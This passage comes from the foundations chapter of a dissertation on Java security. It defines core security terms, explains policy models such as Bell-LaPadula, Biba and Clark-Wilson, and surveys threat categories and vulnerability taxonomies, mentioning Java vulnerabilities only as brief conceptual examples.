Yale University defines security mechanisms in their dictionary of terms
for license agreements as follows:
Definition 2 (Security (Yale)): Means used to protect against the unautho-
rized use of and prevent unauthorized access to digital information. (Yale
University, 2006)
From these definitions, one can infer that the attacker has to find a sin-
gle weak spot in the defense concept of the target, whereas the target has
to protect itself against the entire range of possible attack scenarios. In
scenarios of distributed computing attackers access the target via remote
communications, trying to exploit vulnerabilities in the exposed services.
Moreover, non-local attack types like distributed denial-of-service, phish-
ing, and identity theft have emerged because every target is reachable due
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to the emergence of the Internet Protocol (IP) and the related protocols
and communication infrastructures.
In our discussion, we will focus on the influence of security-unaware
programming style (antipatterns) that lead to vulnerabilities that endanger
availability, confidentiality, integrity, and the authorization logic of the
application. The aspects of security allow distinguishing different kinds of
attacks, which we underline with examples from the JAVA 2 Development
Kit (JDK) within the flow of the dissertation text as shown in Table 2.1.
Vulnerabilities are ways to compromise the security goals of an appli-
cation targeted by an attacker. A risk is the possibility of an occurring
attack. To protect a target against threats, countermeasures help to limit
the risk of attacks by reducing the possible attack paths to the systems,
which means to eliminate vulnerabilities.
In the following discussion, vulnerabilities will be an important term to
work with, as patterns in the implementation are a common cause for the
creation of vulnerabilities.
According to Shirey (2007) active and passive attacks exist. Passive at-
tacks aim to acquire knowledge about the internal state and functionality
of the system but do not affect it directly. This exposure is achievable via
wiretapping, analysis of replication copies or manipulation of commonly
used resources to exploit covert channels. In contrast, active attack scenar-
ios interact with the system directly and aim to alter the system behavior
or state.
The process of threat modeling a system includes to explicitly docu-
ment whether and to which extend threats endanger the several aspects of
system security (Swiderski and Snyder, 2004). Other related methodolo-
gies like attack trees help to visualize and document attacks on systems
(Schneier, 1999).
In the specification for the Common Criteria (The Common Criteria
Project Sponsoring Organisations, 1999) the relationships between these
terms have been depicted as shown in Figure 2.1.
24 Foundations
Owners
counter-
measures
vulnerabilities
Threat
agents
risk
threats assets
impose
may be aware of
wish to minimize
value
to reduce
that may possess
that may be reduced by
leading to
give rise to
wish to abuse and/or may damage
to
that increase
that exploit
to
Figure 2.1: Security terms and their interdependencies
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Security Aspect Threat Example
Availability
Denial-Of-
Service
Denial-Of-Service holes by exploiting the silent inte-
ger overflow antipattern in the java.util.zip pack-
age as shown in Chapter 8.3
Remote denial of service problems due to malicious
payload embedded in serialized JAVA objects
Confidentiality
Information
Disclosure
Exploiting covert channels in applets.
Reading physical memory within the applet sandbox
as result of a vulnerability in the JAVA media frame-
work
Authorization Spoofing Spoofing vulnerabilities found in a common browser
environment
Integrity Control Flow
Interception
State Poisoning allowing to intercept control flow in
XPath processing in an applet environment
Table 2.1: Aspects of security
2.1.2 Important terms
This section introduces the basic definitions of computer security. An im-
portant topic within computer security are the concepts of authentication
and authorization. Shirey (2000) provides these helpful definitions:
Definition 3 (Authentication): The process of verifying an identity claimed by
or for a system entity [. . . ] An authentication process consists of two steps:
1. Identication step: Presenting an identier to the security system. [. . . ]
2. Verication step: Presenting or generating authentication information that
corroborates the binding between the entity and the identier. (Shirey, 2000)
Definition 4 (Authorization): (1.) An "authorization" is a right or a permis-
sion that is granted to a system entity to access a system resource. (2.) An
"authorization process" is a procedure for granting such rights. (3.) To "au-
thorize" means to grant such a right or permission. (Shirey, 2000)
A software program that implements access control with an interme-
diary reference monitor typically evaluates the access decision (see Fig-
ure 2.2).
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In scenarios following a discretionary access control (DAC), the owner
attribute of an object determines the access decision. In contrast, manda-
tory access control (MAC) systems determine the access decision by a
system-wide access control policy, which is part of a security policy.
According to Gollmann, the goal of computer security is defined as fol-
lows:
Definition 5 (Computer Security): [. . . ] deals with the prevention and detec-
tion of unauthorized actions by users of a computer system. (Gollmann, 1999)
Subject Access Request Reference Monitor Object
Authentication Authorization
Figure 2.2: Access Control
Computer security subdivides in several concerns supported by tech-
nical and organizational security mechanisms. They base on a few basic
security principles. For a JAVA-based enterprise application, the person
in the role of the deployer chooses an appropriate security model for the
defined risk level. A security model provides the semantics of the security
policy. Establishing trust is an essential precondition to secure comput-
ing. The security architect adjusts the security measures to the level of
trust towards the humans directly operating with the system components.
A privileged user account, such as the root user in common UNIX sys-
tems, is implicitly trusted and not limited by explicit security mechanisms
such as entering a password for every privileged operation.
Threats are potential vulnerabilities of systems, which allow bypassing
the rules of the security policies and the enforcing mechanisms in place.
The discussion in the next section is about the position of security in com-
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puter science; followed by a list of concerns and basic principles of secu-
rity.
2.1.3 The role of security in computing
The following sections describe how security related topics fit into the
general catalog of terms within the computing domain. Denning (2003)
introduces a principle-based view on computing, and provides an analogy
to other nature sciences such as biology and physics and promotes bet-
ter understanding between science principles and resulting technologies.
His principle-based approach bases on two dimensions, the computing
principles and the computing practices. The basic principles of comput-
ing are mechanics and design principles, whereas the practices of com-
puting consist of the computing application domains and the underlying
core technologies.
Computing mechanics
Beginning in the 1950s only a subset of the important foundations of core
computing technologies was established. These were the domains of al-
gorithms, numerical methods, compilers and languages, computational
models and logic circuits. Since then, the number of technologies has
immensely grown and diversified. To provide structure for the growing
enumeration of computing technologies Denning defined five principle
pillars or windows of computer mechanics, which are depicted in Table 2.2.
Concrete technologies such as middleware are mixed instances of every
of these windows, but their emphasis differs. For example the J2SE (JAVA
2 Standard Edition), as a general runtime framework, provides broader as-
pects of computation, communication, coordination and automation than
a specialized application such as an ERP (Enterprise Resource Planning)
system which represents an application type that is typically equipped with
specialized business functionality, located in the recollection window.
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Window Concern Principle, Stories, Use Cases
Computation Elements and limits of
computing
Algorithms, control and data structures, au-
tomata
Communication Messages flow from
sender to receiver
Data transmission, channels, noise, com-
pression, cryptography, networks
Coordination Multiple entities achieve
common results
Interaction aspects h2h (workflow, pro-
cesses), h2c (interfaces, in- and output, re-
sponses, usability), c2c (synchronization,
serialization, representation)
Automation Computers perform cog-
nitive tasks
Simulation, philosophical distinctions, ex-
pert systems, machine learning, bionics
Recollection Information storage and
retrieval
Hierarchies, localities, caching, addressing
and mapping, naming, sharing, searching,
mining
Table 2.2: The Five Windows of Computing
Computing design
Design principles tailor computing mechanics according to the needs of
human actors in computing like the crosscutting concerns of customers,
users and programmers. These concerns subdivide in four design princi-
ples according to Table 2.3.
Concern Description
Simplicity Usage of abstraction versus complexity, a programmer needs a more de-
tailed view on a customer record than the on-line user
Performance Timing, aspects like throughput, bottlenecks, capacities, response times,
real-time requirements
Reliability Robustness, redundancy, recovery, integrity evolvability anticipation and
adaptability to changes in functions and scale
Security Authentication, access control, availability, confidentiality, integrity, con-
tainment, privacy, non-repudiation
Table 2.3: Design Principles of Computing
The computing principles relate closely to the non-functional or quality
requirements and contribute to the upcoming discussion of large-scale
software development.
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2.1.4 Security Goals
Security mechanisms help to protect information assets. The important
measures to support this broad security goal are prevention, detection and
recovery (Bishop, 2002). Details are shown in Table 2.4.
2.1.5 Concerns
According to ITSEC (Department of Trade and Industry (United King-
dom), 1991) the disciplines of Computer Security and IT Security base on
three fundamental concerns:
• Confidentiality
• Integrity
• Availability
As Gollmann (1999) states, this list is subject to discussion depending
on the individual viewpoint towards security and is therefore not necessar-
ily complete. Other criteria such as accountability, reliability, and safety
also contribute to the goal of IT Security.
Condentiality
We use the definition of condentiality from the US Department of Trade
and Industry (United Kingdom).
Definition 6 (Confidentiality): Prevention of the unauthorized disclosure of
information (Department of Trade and Industry (United Kingdom), 1991)
The goal of confidentiality is concerned with keeping private informa-
tion classified. Protection of classified information is a frequent require-
ment for military environments or application settings where trade secrets
are present. This involves a default protection scheme to forbid access to
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Concern Description
Prevention Prevention helps to anticipate damage towards assets. This includes pre-
cautions by technical and design mechanisms. Technical mechanisms
are ideally implemented by invariants. Objects that cannot be changed by
attackers such as read-only file-systems, read-only-memory, read-only en-
vironments, non-executable stack areas of current microprocessors, like
the non-executable stack (Ananthaswamy, 2004) reduce the attack sur-
face. The contained execution model of the J2SE is also a technical pre-
caution. It is known as the sandbox. Typical architectural mechanisms for
prevention enforce access control checks such as prompting for the user
identification and his password to force an authentication prior usage of
a program.
Detection Detection aims to monitor attacks and the caused damage. Specialized
tools, such as intrusion detection systems, like the open source product
Snort (Snort Project, 2004), provide mechanisms to alert attacks or sus-
picious behavior of entities. This is for example the case when repeated
access to protected resource to a password file or a privileged user account
or system port has occurred. Detection tools may work on several layers
of the ISO/OSI communication reference model. Based on event trigger-
ing are rule definitions that specify suspicious IP-packets on the network
layer or signatures of HTTP-based attacks on the transport layer. Attacks
that subvert the integrity of the application level such as viruses and tro-
jans allow detection by comparing attack signatures to the content of an
untrusted executable file. To document attacks it is important to collect
forensic material, such as network traces to prepare legal actions against
the originator of the attack.
Recovery and
Reaction
Recovery and Reaction is primarily responsible for re-establishing integrity
after an attack has occurred. To repair the damage caused by an attack,
the integrity breaches to the data the system have to be removed before
re-launching the system. The second goal of recovery is to re-establish
availability after the attack. In order not to be a target for a repetitive
attack, the recovery step also includes the detection and analysis of the
vulnerabilities that caused the success of the attack. Fixing the identified
leaks is done either by recoding the vulnerable parts of the application or
by applying a security patch in the case of vulnerable third party compo-
nents, for example installing an update for the J2RE or a security update
for the underlying operating system. Recovery should take place after the
collection of forensic material. Active countermeasures against the at-
tackers may also belong to the recovery process depending on the legal
settings in the country where the attack target is located.
Table 2.4: Subdisciplines of security
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classified data and resources without the proper classification level of the
reading entity. The Bell-LaPadula security model formalizes confidential-
ity in systems.
Integrity
Integrity of information systems is especially important for businesses, as
their transactional decisions and the resulting monetary success depends
on the correctness and trustworthiness of data and the validity of the used
algorithms.
The Department of Trade and Industry (United Kingdom) introduced
this definition of integrity:
Definition 7 (Integrity): Prevention of the unauthorized modication of in-
formation; (Department of Trade and Industry (United Kingdom), 1991)
Content integrity aims to prevent attacks on both by intruders. Authen-
tication supports the goal of Origin Integrity to ensure that the origin is
known and not anonymous.
Additional authorization checks guarantee that only authenticated enti-
ties pass the access control checks according to their role or their in-
dividual credentials. After passing the check, a client has the permis-
sion to perform a privileged action. Credentials such as a User-Id and
password or cryptographic keys are typical proofs for the identity of a
user in a special access context. The standardized Subject class of the
javax.security.auth package contains this information in the JAVA
context.
The goal of content integrity is to protect data against unnoticed manip-
ulation on the transport layer. To prevent violations to origin and con-
tent integrity on stored data such as JAVA archive files systems crypto-
graphic checksums provide a means to verify to the archive files (Sun Mi-
crosystems, 2003a). Using digesting functionality such as the Checked-
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InputStream class of the java.util.zip package helps to verify the cor-
rect transmission of data.
Availability
According to ISO 17944, the term availability has the following definition:
Definition 8 (Availability): The property of being accessible and usable upon
demand by an authorized entity. (ISO, 2002)
Availability of information systems is the foundation for Internet-centric
companies to have success in their business and receive revenue. Tradi-
tional approaches to availability base on statistical models that incorporate
average response times and the estimated number of normal users. Pe-
riods of outage that are due to behavior of malicious users are an often-
neglected risk, although they break the resulting estimations of availability
models. Direct compromises of availability are denial-of-service attacks.
These may either attack the implementation (Schönefeld, 2004f) to crash
systems or limit the available bandwidth for systems (flooding) (Harrison,
2000).
Non-security related approaches to provide availability and disaster recov-
ery base on middleware transparency concepts. Middleware systems typi-
cally provide redundancy mechanisms such as backup and failover mech-
anisms for computing facilities and locations as well as backup connection
bandwidth for peak demand.
Accountability
The goal of accountability is to audit actions, which is different from pre-
venting them. The Department of Defense (United States) (1985) provides
the following definition:
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Definition 9 (Accountability): Audit information must be selectively kept and
protected so that actions affecting security can be traced to the responsible sub-
ject. (Department of Defense (United States), 1985)
On the technical level, accountability means to track actions of users. Priv-
ileged users have the permission to access logs in an append-only mode.
Audit trails allow archiving of security relevant actions that provide impor-
tant forensic material in a misuse case.
On the business level accountability or the alias term Non-Repudiation
of business transaction is important to establish trust between the busi-
ness partners in business-to-business scenarios.
Implementations of proof mechanisms typically apply a digital signa-
ture (Cooper et al., 2008) to electronic documents such to proof the con-
firmation of receipt. The events during mutual remote agreement require
a digital proof.
2.1.6 Trust
A user builds up trust towards a system depending on his observations be-
fore he decides to use the system (Denning, 1993). These assumptions are
time-variant such as trust in the quality of algorithms and privacy and in-
tegrity of internal storage, floppy disks and CDs. Portable storage media
devices typically fall into the untrusted category because they potentially
transport manipulated program code such as viruses or otherwise tam-
pered data. A typical precaution is applying a virus check before usage.
Cryptographic signatures provide a mechanism to check the trustworthi-
ness of files before usage.
Faulty floating-point processing caused the crash of the Ariane rocket
on June 4th, 1996. This catastrophe increased the awareness within the
aircraft and space industry for an extension of test scenarios for software
and embedded components before trusting their usability (Lions, 1996).
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This is only one example that forced industries to conduct additional
tests to their products before they enter the market. Trust in software
products is therefore also different among individual observers. Vendors
have reacted and equipped their software systems with trust establishing
technologies such as using cryptographically algorithms for code signing
in remote deployment architectures such as .NET or JAVA/JNLP. These
technologies are only as trustworthy as the quality of their actual imple-
mentation (Anderson, 1994), which are potentially inferior to the theoret-
ical quality of the underlying security algorithms or policies they aim to
implement.
Frequently the concept of a TCB, a trusted computing base defines the
minimum set of system components that have to be trustworthy. All vul-
nerabilities in the implementation or other potential insecure states of
the TCB compromise the overall system security (Appel and Wang, 2002).
Subcomponents within the TCB trust each other and therefore need no
additional mutual protection. According to the US Department of De-
fense (United States), this definition of a TCB is given:
Definition 10 (Trusted Computing Base): The totality of protection mecha-
nisms within a computer system, including hardware, rmware, and software,
the combination of which is responsible for enforcing a security policy. A TCB
consists of one or more components that enforce a unied security policy over
a product or system. The ability of a trusted computing base to correctly en-
force a security policy depends solely on the mechanisms within the TCB and
on the correct input by system administrative personnel of parameters (e.g., a
user's clearance) related to the security policy.(Department of Defense (United
States), 1985)
In addition, the ITSEC (Department of Trade and Industry (United
Kingdom), 1991) supplies an illustration of a TCB, shown in Figure 2.3.
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Figure 2.3: Trusted Computing Base
2.1.7 Mechanisms
Security mechanisms are the technical disciplines employed to enforce
the different concerns of security and establish trust, such as:
Access Control enables a controlled interaction between subjects and ob-
jects according to rules.
Auditing keeps non-forgeable logs of performed actions that assist to the
concern of Non-Repudiation by collecting potential forensic proof
in the case of system misuse incidents.
Intrusion Detection systems support to integrity and availability, as they
scan input data that may trigger attacks. An attack pattern dictio-
nary allows filtering data before passing it to the application. Ad-
ditionally they provide functionality to use the connection metadata
for forensic analysis to track back the origin of an attack.
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Perimeter Defense protects the concern of availability and keeps attackers
outside (origin integrity).
Cryptography provides confidentiality and ensures that only subjects that
are entitled to do so by owning the correct key may send messages
to objects.
2.1.8 Policy Models
Security models help to specify the requirements on security for a specific
production environment. A policy describes the measures how to imple-
ment these. A security policy bases on a formal description the security
model, necessary for the security validation of a system. The use of a se-
curity policy allows distinguishing secure and insecure system states.
Security models extend state machine models, which trace the dynamic
state of systems. Changes in state only occur at discrete moments driven
by either time or events. The security state is an important part of the
traced subset of the system state. A secure system starts in a secure state.
By knowledge of the state transitions of a system, it is possible to verify
whether a secure state links to a secure state. When this condition (the
basic security theorem) holds, the system is considered as secure.
The set of secure states is a subset of all possible system states. Lu and
Sundareshan (1990) present a multi-level process model that illustrates
how system security states on a conceptual level are derived from a given
system.
Bishop provides these definitions:
Definition 11 (Security policy): [. . . ] is a statement that partitions the states
of the system into a set of authorized or secure states and a set of unauthorized
or nonsecure states. (Bishop, 2002, 95)
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Definition 12 (Secure system): [. . . ] is a system that states in a secure (au-
thorized) state and cannot enter an insecure (unauthorized) state.(Bishop,
2002, 95)
Definition 13 (Security breach): [. . . ] occurs when a system enters an unau-
thorized state (Bishop, 2002, 96)
Formal models are a mechanism to define policies that handle the goals
of system security and help to detect their violation. The actual process
context is a parameter for the policy evaluation and allows determining
which of the above-mentioned goals are violated. Access control decisions
are mandatory filters placed prior to the actual resource access. In a JAVA
context access control decisions help to check whether the code, running
in the context of a specific user (java.security.AccessControlContext)
or is loaded from a specific network location, may access a resource in
accordance to the identified (java.security.CodeSource). There are sev-
eral concepts involved in a security policy when dealing with access con-
trol decisions:
Subjects like users, code signers, and processes are the actors, the active
entity on which behalf the access to a resource is requested. A typi-
cal subject has a unique username such as a X.509 digital certificate,
like the signer of a software package. A GUID or a MAC address
identifies hardware resources,.
Objects are resources like files, network connections, components of the
user interface and passive items.
Operations are available actions. Subjects perform operations on the ob-
ject. A typical operation on an object in the file system is the read
action.
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User subjects form sets (user groups) that share common access rights.
Frequently used privileged groups are those for administrative actions
with elevated privileges attached or groups that define the bundle of rights
for normal users. Administrators typically have unlimited access to sys-
tem resources, or members of other privileged groups (like log accessors,
who are allowed to read system log files that are needed for auditing or
analyzing systems). Permissions are assignments of legal operations on
objects to subjects. In a default-deny model permissions are granted to
subjects via a policy definition. If an access is not allowed by the policy
they are revoked.
Early access control models focused to solve military requirements to
limit access on resources. Their main goal was managing confidentiality.
Therefore, the majority of access control models allow at least the defini-
tion of rules for the privacy of data and other resources inside a system.
Other models exist that are concerned with the goal of integrity, such as
the Clark-Wilson model, whereas other approaches, such as the Chinese
Wall model, target more business centric needs.
In the following, we will present and compare these common policy
models:
• Lattice models
• The Bell-LaPadula model
• Harrison-Ruzo-Ullman model
• Chinese Wall model (Brewer and Nash model)
• Biba model
• Clark-Wilson model
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Lattice models
The central concept of the Lattice model is the classification of a resource.
The typical classes are derivations of military terms such as top secret, se-
cret, condential, and unclassied. Resources may only accessed by subjects
on their level of classification or above.
This simple scheme only addresses confidentiality, the primary applica-
tion area lies within document-oriented government or military environ-
ments.
Bell-LaPadula model
The model of Bell and LaPadula (1973) (BLP) is a state-machine model
focused on confidentiality, used to define the relation of which user may
access a particular resource (instance or type). As an extension to the lat-
tice approach, BLP prevents downward information flow. Like the Lattice
model, BLP defines a set of ordered access levels, which defines what op-
erations subjects may invoke on objects. Ai is the level of the highest
order a subject i is allowed to read. Ck is the degree of confidentiality of
a specific object k. In contrast to the Lattice model, BLP does not allow
subjects with a given classification to write to resources with a lower clas-
sification.
According to the simple security property of Bell-LaPadula subjects i may
read (observe) objects k only when Ai >= Ck. According to this rule,
information flow can only occur by direct access operations, the direction
is always upwards.
The Lattice model suffers like the initial version of the BLP model from
a critical design problem, which allows misuse from malicious program
that run on behalf on a specific user. A program may read data from
a high-classified resource and declassify the gathered information, for in-
stance copy it to a resource classified on a lower level. In addition the
*-property of BLP prevents such downgrading states in which subjects may
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write (alter) to subjects when Ai <= Ck.
In BLP the star and the simple security policy are mandatory. The dis-
cretionary security property states that access has to be permitted by the
access control matrix (which defines the access rights for each combina-
tion of Subject, Object, and Action.
The major problem that occurs in practical use of BLP is the restriction
that high-classified subjects are not permitted to communicate to a sub-
ject on a lower classification level. A bypass of these checks is only pos-
sible by temporarily downgrading of subjects that need to communicate.
An alternative to this approach is introduce trusted subjects, which are
not restricted by the *-property. When using those trusted subjects the
*-property only has to be checked for untrusted subjects.
Harrison-Ruzo-Ullman Model
The confidentiality model of the BLP follows a static approach and does
not allow changing the used policy or to define new subjects or objects.
The Harrison-Ruzo-Ullman (HRU) (Harrison et al., 1976) model addresses
this shortcoming with an authorization model with a given set R of ac-
tions, defining an access matrix over all S and O, which includes a subject
of R for each intersection or S and O. The set R consists of at least six
entries, the first two are operations to enter rights into and delete rights
from the access matrix. The other four deal with the creation and deletion
of objects and subjects.
A HRU command is composed of a precondition that checks whether the
required rights ri are set in the entry of the access control matrix Msi, oi
to execute actions on object j. A subject S that owns a network socket
(permission o) can open a socket connection, and has accept, listen and
close permissions to this socket, therefore a typical HRU policy has the
following syntax:
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command create_socket (subject, socket) {
create socket,
enter resolve into Msu,so;
enter listen into Msu,so;
enter close to Msu,so;
}
Subject S may grant connect right to this socket to another subject T with
command connect_socket (S , P ,socket) {
if o in MS,Msocket then
enter connectP, Socket in MP,socket
}
Within the HRU model, it is possible to determine the allocation path of
rights. This means in turn that it is possible to check whether a right
leaks. To proof that a right is not leaking, no command sequence exists
that transforms the access control matrix (ACM) into a state where a right
leaks. In only that case, the ACM is considered safe. The safety problem of
a Matrix M concerning right r is decidable, when the command sequence
is limited to a single command.
Chinese wall
The Chinese wall model (CWM) (Brewer and Nash, 1989) is targeted to
handle conflicts of interests, such as financial application areas.
The following example describes the key ideas: The subjects represent
analysts; objects model the data areas for a specific client. The protected
items are datasets describing the financial state of a company. The Rela-
tion d : O− > D determines the dataset for a given company o. A conflict
of interests is determined with the relation c : O− > D provides for every
object o the companies that are in conflict of interest with o. Labels inte-
grate all entries of d and c, all datasets and interest conflicts. These are
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separate from the sanitized information, which has no access restrictions.
The simple security property of the CWM grants access to objects only
under the condition that the requested object is already under access by
the accessing subject. Further, it is not member of the conflict interests
of other objects already accessed by this subject.
Problems arise with indirect information flow (covert channels) that
arises when the clients of analysts deal with the same partners (shared
resources). Two competing companies are dealing with two business an-
alysts R and S. R is working with company A and the shared investment
bank T , S is working with this financial institute for company B. When
R updates the file on investment bank, information about A may leak to
analyst S. This problem is addressed with the *-property, which pre-
vents R from writing to the file of the investment bank T , when he has
read access to unsanitized and private information that may leak. As the
underlying relationships may change, the model basing on CWM has to
be very dynamic.
Biba Model
The Biba (Biba, 1997) model is as a state machine model closely related
to the model of BLP. In BLP, a process may write to resources above its
classification level and may tamper data on a classification level by insert-
ing data of untrustworthy origin. In addition to BLP, the Biba model aims
to prevent unauthorized insertion of information, in other words focuses on
integrity. In Biba, both subjects and objects have assignments to integrity
levels.
Several properties apply (duals of the confidentiality properties of BLP):
The no-upwrite property (simple integrity property) guarantees that a sub-
ject s receives the right to modify an object o only when the integrity level
of s is higher or equal to the integrity level of o. With the integrity *-
property it is guaranteed that whenever a subject s is allowed to read an
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object o, s is only allowed to write to another object o′ when the integrity
level of o′ is lower than the integrity level of o.
In addition to these properties low watermark policies adjust integrity lev-
els for subjects and objects. The subject low watermark policy states that
a subject may read an object of every given level of integrity. After an op-
eration, the integrity level of the subject is adjusted to inf(fo(o), fs(s)).
fo(o) and fs(s) are the integrity levels of object o and subject s before the
operation has occurred.
According to the object low watermark policy, a subject may alter an ob-
ject at any integrity level. The new integrity level of the object after the
operation is again inf(fo(o), fs(s)). The Biba model has an extension
to handle delegated invocations; this situation applies when a subject in-
vokes another subject to alter an object. These extensions are specific to
the current application. The first extension is the invoke property, a subject
is only allowed to use a program at an equal or lower level. Otherwise,
a lower-level (tainted) subject may invoke a higher-level (clean) program
and manipulate integrity of clean objects. A modification is the allowance
of a lower-level subject to modify a high-level object only if it uses a high-
level (privileged) program for this task. In this case, the program needs to
perform checks that ensure integrity of the object verifying the correctness
of the clean state.
The Biba Model relies on the correctness of the checks implemented
by the program. The ring property allows that subjects can read objects
at all levels. Subjects may only invoke objects on equal or lower integrity
levels. Invocations of subjects are only allowed when the integrity level of
the called subject is higher than the own integrity level.
Clark-Wilson model
The Clark-Wilson model (Clark and Wilson, 1987) is focused on commer-
cial use cases where internal data integrity is as important as external rep-
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resentation of data, for example Auditing of process status changes. Clark
and Wilson separate military notion of security policies from commer-
cial ones. Whereas in military application areas the disclosure of data is
the major security threat, in commercial usage areas the availability and
integrity of data is most important. In the context of the Clark-Wilson
model, commercial systems base on two basic principles, Separation of
Duty and Well-formed transactions. Well-formed transactions implement
constraints on data transformations triggered by subjects. Those checks
may range semantically from simple generation of log dataset with in-
formation about the time of transaction, and the responsible subject to
double-bookkeeping functionality that allows analysis of the cash-flow sys-
tem.
Well-formed transactions support the security goal of non-repudiation
where business transactions have a link to a responsible identity. To
be tamper-proof the transaction functionality is undergoing an audit that
checks audited for correct behavior. Separation of duty is a means to pre-
vent fraud. The risk is that an employee who is responsible alone for
execution and control of a work item may apply actions to his own favor.
A system based on separation of duty only tolerates such dishonesty when
there is mutually support of fraud among the participating subjects.
Business applications, such as banking information systems, typically
base the transactions performed by their information processing programs
on the "four-eyes-principle" which provides mutual control. Critical busi-
ness action can only be committed when an employee and a second per-
son acknowledge the correctness of the current transaction. By combining
the separation of duty with well-formed transactions, the system is kept in
a state of integrity. To maintain the integrity goal it is essential, that the
involved users may not modify these transactions, or the assignment of
access rights. A formal illustration of the Clark-Wilson model is shown
in (Clark and Wilson, 1987). The core components are illustrated in Fig-
ure 2.4. It presents two types of data items, the first are the constrained
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data items (CDI). Integrity verication procedures (IVP) filter the CDIs to en-
sure a valid internal state. Unconstrained data items (UDI) do not have to
pass the IVP (and as the CDI), they are once checked considered to be in
a valid state and must be processed by well-formed transactions and put
from one state of integrity to another.
Constraint data
items (CDI)
Integrity verification
procedures (IVP)
CDI in valid state
Well-formed trans-
actions (WFT)
Unconstrained
data items (UDI)
Figure 2.4: Clark-Wilson security model
An adequate implementation backend for a Clark-Wilson policy imple-
mentation could use a transactional database system as state engine back-
end. This allows accommodating the well-formed transactions, which en-
force atomic transformation from one valid state to another on the one
hand and on the other hand, to avoid dirty read and intermediate states.
Summary
The previous paragraphs delivered a characterization of the different fla-
vors of formal security models. The BLP focuses primarily on military
requirements such as confidentiality and does not contribute to system
integrity and does not prevent covert channels. It is static and does not
reflect changes for subject and objects. Another downside of BLP is that
is does protect the containment status of systems and does not block the
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creation of covert channels. In contrast, the HRU model allows defining
to subjects and objects and integrates the notion of permission grants. It
also allows deciding the security state problem for simple systems. The
Chinese wall model is a security model focused on commercial environ-
ment where it is important to separate areas of concern and interest. The
Biba model is the dual of the BLP as far as integrity is concerned. It allows
flexible assignment of integrity levels by introducing the low watermark
policies. The ring and invoke policies allow specifying whether subjects
may alter objects via programs. The Clark-Wilson security model is the
most flexible model as far as business requirements are concerned. It fo-
cuses on integrity and allows providing non-repudiation via organizational
and functional settings. For the upcoming chapter on JAVA security these
policy models provide a base framework to evaluate the goals and effects
of the presented security measures that implement a security policy.
2.1.9 Containment and Connement
The term containment stems from physics and describes according to Uni-
versity of Princeton
Definition 14 (Containment): A system designed to prevent the accidental re-
lease of radioactive material from a reactor (University of Princeton, 2005).
In the context of information systems Lampson defined the confinement
problem as:
Definition 15 (Confinement): The confinement problem is the problem of
preventing a server from leaking information that the user of the service consid-
ers condential (Lampson, 1973b).
Both terms describe the importance of separation of resources such as
data or contaminated material inside the system and the remaining out-
side world. Covert channels are unintended paths between confinement
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sections and cause violations of security policies. They may transfer in-
formation over metadata such as timing behavior or observable system
level resources, which are not designed for communication (Pfleeger and
Pfleeger, 2002). Bishop defines covert channels as follows:
Definition 16 (Covert channel): A covert channel is a path of communication
that was not designed to be used for communication. (Bishop, 2002)
The presence of covert channels is harm to security. They allow bypass-
ing existing confidentiality protection measures by passive monitoring the
state of a system. Their practical implications are a topic of the later chap-
ters, demonstrating the effects of covert channels between confined JAVA
applications, such as applets.
2.1.10 Threats
This chapter presents a basic categorization of threats towards systems.
Threats are potential violations of security, which allow exploits by attack-
ing entities. The Internet security glossary (Shirey, 2007) provides the fol-
lowing main categories of threats:
• Disclosure
• Deception
• Disruption
• Usurpation
Disclosure
An unauthorized disclosure event happens when an attacker is able to
gain access to information not intended for exposure in his trust class.
This violates the confidentiality of the system. The actions shown in Ta-
ble 2.5 can lead to unauthorized disclosure.
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Deception
Deception is the consequence of a threat that provides an authorized entity
with false data by accessing the manipulating the trust relationship or the
physical communication, see Table 2.6.
Disruption
Disruption describes an event or circumstance, which prevents a system
from operating correctly and providing functions or services. This fre-
quently results from actions listed in Table 2.7.
Usurpation
Usurpation is an attack on availability and results in loss of control of
services and functions of a system. As a result an unauthorized entity
takes over the control of a system, as illustrated in the common expression
'to own the box' (Russell et al., 2003)). This is shown in Table 2.8.
These aspects provided a catalog of misuse cases, which have to be taken
into account when analyzing information systems from a security per-
spective. Alexander (2002) introduced an approach to integrate the con-
cept of misuse cases into the early stages of the software development
process, namely the phase of system analysis and design.
2.1.11 Vulnerabilities
Vulnerabilities are design or coding flaws in systems that provoke the
threats described above to be exploited by attackers. Formal testing for vul-
nerabilities tests the absence of exploitable vulnerabilities, whereas pen-
etration testing tests for the existence of those weaknesses. After pre-
senting both approaches, we summarize those with a list of the existing
vulnerability classes.
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Vulnerability classication
It is an ongoing industrial effort to standardize the definition of vulnera-
bilities. The Oasis-Open consortium (Heineman, 2004) published a spec-
ification about attacks directed against HTTP-based applications. Being
affected by these attacks does not necessarily imply that the HTTP imple-
mentation of the application is vulnerable. Merely the attack chose HTTP
as transport communication protocol, but could have used other commu-
nication path as well. Therefore, a broader approach to define vulnerabili-
ties would be helpful to provide a standardized documentation of the entry
path of the vulnerability (such as HTTP, RMI, JDBC), the vulnerability it-
self (the protocol implementation, the event handler), and the resulting
security compromise (detection, disclosure, deception, usurpation).
The Landwehr Framework One of the first classification frameworks for
vulnerabilities (among others) is the Landwehr flaw classification scheme
(Landwehr et al., 1994). The taxonomy (Figure 2.5) of software flaws em-
phasizes on three aspects:
• The genesis, the type of the bug is concerned (such as being a covert
channel)
• The time of introduction in that the vulnerability was it introduced,
as in the development or maintenance phase
• The location of the vulnerability endetails whether the issue is an
operation system problem or affects the application layer only.
We follow the categorization given by Bishop (2002).
Incomplete or inconsistent parameter validation leads to tainted data within
the application. Knowing internal structures and decision paths in
the application allows an attacker to handcraft input parameter com-
binations to gain control over the application. An example for incon-
sistent parameter validation was found in the JBOSS J2EE server
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Genesis
Time of In-
troduction
Location
Intentional
Inadvertent
Development
Maintenance
Operation
Software
Hardware
Malicious
Non-Malicious
Validation Error
Domain Error
Serialization Error
Identification/Authorization Inadequate
Boundary Condition Violation
Other exploitable logic
Requirement / Specification
Source code
Object code
OS/Runtime
Support/
Middleware
Application
Trojan Horse
Trojan Horse
Time Logic Bomb
Covert channel
Other
System Identification
Memory Management
Process Management
Device Management
File Management
Identification/Authorization
Other unknown
Privileged Utilities
Unprivileged Utilities
Replicating
Non-Replicating
Storage
Timing
Figure 2.5: Vulnerability taxonomy by Landwehr
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3.2.1 where an attached %00 character revealed the source code of
the JAVA server pages files instead of dynamically generate HTML
results, as shown by Schönefeld (2003o).
Implicit sharing of (privileged or confidential) data between JAVA appli-
cations violates the principle of least common mechanism. An at-
tacker may vulnerabilities in and application to acquire data of an-
other application due to their shared data. During this research,
we discovered a covert channel vulnerability in the standard JAVA-
Plugin for Internet browsers. Setting global variables to arbitrary
values could be misused to violate the sandbox protection model,
which is the containment enforced for JAVA applets by the applet
